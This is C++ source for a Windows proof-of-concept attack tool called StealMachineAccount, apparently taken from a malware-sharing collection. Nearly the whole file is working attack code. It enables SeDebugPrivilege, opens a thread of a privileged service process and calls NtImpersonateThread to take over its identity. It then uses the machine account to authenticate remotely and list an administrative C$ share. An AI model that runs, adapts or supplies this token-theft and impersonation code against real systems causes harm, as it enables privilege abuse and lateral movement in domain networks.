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vxunderground
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/********************************************************************
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* StealMachineAccount: This PoC takes profit of a privileged
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* machine domain account (like for example a local admin or domain admin)
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* on a Windows domain, stealing a System token and impersonating
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* machine acount for remote auhtentication and listing C$.
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* The point here is to impersonate a lower privilege service like RPCSS
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* running with NETWORK SERVICE account.
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*
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* NOTE: We consider that source process has local Admnin privs and
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* has High integrity (no SYSTEM account needed)
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*********************************************************************/
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#include <iostream>
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#define MAX_NAME 256
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#include <windows.h>
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#include <tlhelp32.h>
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#include <Lmcons.h>
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#include <psapi.h>
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#include <windows.h>
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#include <tchar.h>
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#include <stdio.h>
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#include <strsafe.h>
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#include <stdlib.h>
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std::string get_username()
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{
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TCHAR username[UNLEN + 1] = { 0 };
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DWORD username_len = UNLEN + 1;
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int res = GetUserName(username, &username_len);
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std::wstring username_w(username);
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std::string username_s(username_w.begin(), username_w.end());
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return username_s;
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}
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BOOL SetPrivilege(
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HANDLE hToken, // access token handle
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LPCTSTR lpszPrivilege, // name of privilege to enable/disable
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BOOL bEnablePrivilege // to enable or disable privilege
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)
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{
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TOKEN_PRIVILEGES tp;
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LUID luid;
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if (!LookupPrivilegeValue(
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NULL, // lookup privilege on local system
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lpszPrivilege, // privilege to lookup
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&luid)) // receives LUID of privilege
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{
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printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
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return FALSE;
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}
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tp.PrivilegeCount = 1;
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tp.Privileges[0].Luid = luid;
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if (bEnablePrivilege)
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tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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else
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tp.Privileges[0].Attributes = 0;
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// Enable the privilege or disable all privileges.
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if (!AdjustTokenPrivileges(
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hToken,
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FALSE,
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&tp,
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sizeof(TOKEN_PRIVILEGES),
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(PTOKEN_PRIVILEGES)NULL,
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(PDWORD)NULL))
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{
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printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
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return FALSE;
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}
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if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
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{
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printf("[-] The token does not have the specified privilege. \n");
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return FALSE;
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}
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return TRUE;
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}
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HANDLE ListProcessThreads(DWORD dwOwnerPID)
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{
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HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
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THREADENTRY32 te32;
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// Take a snapshot of all running threads
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hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
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if (hThreadSnap == INVALID_HANDLE_VALUE)
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return(FALSE);
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// Fill in the size of the structure before using it.
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te32.dwSize = sizeof(THREADENTRY32);
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// Retrieve information about the first thread,
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// and exit if unsuccessful
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if (!Thread32First(hThreadSnap, &te32))
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{
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printf("[-] Error Thread32First\n"); // Show cause of failure
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CloseHandle(hThreadSnap); // Must clean up the snapshot object!
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return(NULL);
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}
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// Now walk the thread list of the system,
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// and display information about each thread
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// associated with the specified process
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do
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{
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if (te32.th32OwnerProcessID == dwOwnerPID)
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{
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//printf("\n THREAD ID = 0x%08X", te32.th32ThreadID);
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//printf("\n base priority = %d", te32.tpBasePri);
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//printf("\n delta priority = %d", te32.tpDeltaPri);
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HANDLE thandle = OpenThread(THREAD_DIRECT_IMPERSONATION,
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TRUE,
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te32.th32ThreadID
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);
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CloseHandle(hThreadSnap);
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if (thandle == NULL) {
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printf("[-] OpenThread failed\n");
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return (NULL);
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}
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else {
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printf("[+] OpenThread 0x%08X success!\n", te32.th32ThreadID);
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return (thandle);
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}
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}
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} while (Thread32Next(hThreadSnap, &te32));
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printf("[-] Process not found\n");
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return (NULL);
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}
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bool listdirectories(WCHAR *directory)
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{
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WIN32_FIND_DATA ffd;
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LARGE_INTEGER filesize;
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TCHAR szDir[MAX_PATH];
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size_t length_of_arg;
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HANDLE hFind = INVALID_HANDLE_VALUE;
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DWORD dwError = 0;
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StringCchLength(directory, MAX_PATH, &length_of_arg);
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printf("\nTarget directory is %s\n\n", directory);
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// Prepare string for use with FindFile functions. First, copy the
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// string to a buffer, then append '\*' to the directory name.
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StringCchCopy(szDir, MAX_PATH, directory);
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StringCchCat(szDir, MAX_PATH, TEXT("\\*"));
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// Find the first file in the directory.
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hFind = FindFirstFile(szDir, &ffd);
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if (INVALID_HANDLE_VALUE == hFind)
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{
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printf("[-] FindFirstFile INVALID_HANDLE_VALUE! %i\n", GetLastError());
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return false;
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}
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// List all the files in the directory with some info about them.
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do
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{
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if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
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{
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wprintf(L" %ws <DIR>\n", ffd.cFileName);
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}
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else
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{
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filesize.LowPart = ffd.nFileSizeLow;
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filesize.HighPart = ffd.nFileSizeHigh;
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wprintf(L" %ws %ld bytes\n", ffd.cFileName, filesize.QuadPart);
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}
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} while (FindNextFile(hFind, &ffd) != 0);
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dwError = GetLastError();
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if (dwError != ERROR_NO_MORE_FILES)
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{
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printf("[-] FindFirstFile ERROR_NO_MORE_FILES! %i\n", dwError);
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return false;
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}
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FindClose(hFind);
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return true;
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}
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int wmain(int argc, wchar_t** argv)
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{
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SECURITY_QUALITY_OF_SERVICE sqos = {};
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sqos.Length = sizeof(sqos);
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sqos.ImpersonationLevel = SecurityImpersonation;
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//sqos.ImpersonationLevel = SecurityIdentification;
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DWORD bsize = 1024;
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CHAR buffer[1024];
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HANDLE currentTokenHandle = NULL;
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if (argc != 3) {
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wprintf(L"usage: %ws <PID> <NetShare>\n", argv[0]);
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wprintf(L" Ex. StealMachineAccount 1020 \\WIN-VXQKGX098Q0\C$\n");
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}
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// Grab PID from command line argument
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DWORD pid = _wtoi(argv[1]);
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// Add SE debug privilege
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BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
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if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
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{
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printf("[+] SeDebugPrivilege enabled!\n");
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}
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else {
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printf("[-] SeDebugPrivilege not enabled!\n");
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exit(1);
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}
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// Call OpenProcess(), print return code and error code
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HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, pid);
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if (GetLastError() == NULL) {
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//Get process image name
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QueryFullProcessImageNameA((HMODULE)processHandle, 0, buffer, &bsize);
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if (GetLastError() != NULL)
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{
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printf("[-] Technique2 QueryFullProcessImageNameA Pid %i Error: %i\n", pid, GetLastError());
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return false;
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}
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printf("[+] Technique2 OpenProcess() %s success with pid %i !\n", buffer, pid);
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}
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else
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{
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printf("[-] Technique2 OpenProcess() Pid %i Error: %i\n", pid, GetLastError());
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return false;
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}
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//Get handle from first process thread
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HANDLE hThreadToImpersonate = ListProcessThreads(pid);
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if (hThreadToImpersonate == NULL)
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{
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printf("[-] Technique2 Error getting pthread\n");
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return false;
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}
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//Calling NativeAPI NtImpersonateThread
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typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle,
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HANDLE ThreadToImpersonate,
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PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);
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NtImpersonateThread* fNtImpersonateThread =
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(NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"),
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"NtImpersonateThread");
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// Impersonate user in a thread
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BOOL impersonateUser = fNtImpersonateThread(GetCurrentThread(), hThreadToImpersonate, &sqos);
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if (GetLastError() == NULL)
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{
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printf("[+] Technique2 fNtImpersonateThread() %s success!\n", buffer);
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printf("[+] Technique2 Current user is: %s\n", (get_username()).c_str());
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//wchar_t server[] = L"WIN-VXQKGX098Q0.prueba.com";
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if (listdirectories(argv[2]))
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printf("[+] Shares listed!\n");
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else
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printf("[-] listdirectories error!\n");
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}
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else
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{
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printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
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}
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getchar();
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// Closing not necessary handles
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CloseHandle(hThreadToImpersonate);
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CloseHandle(processHandle);
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return true;
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}
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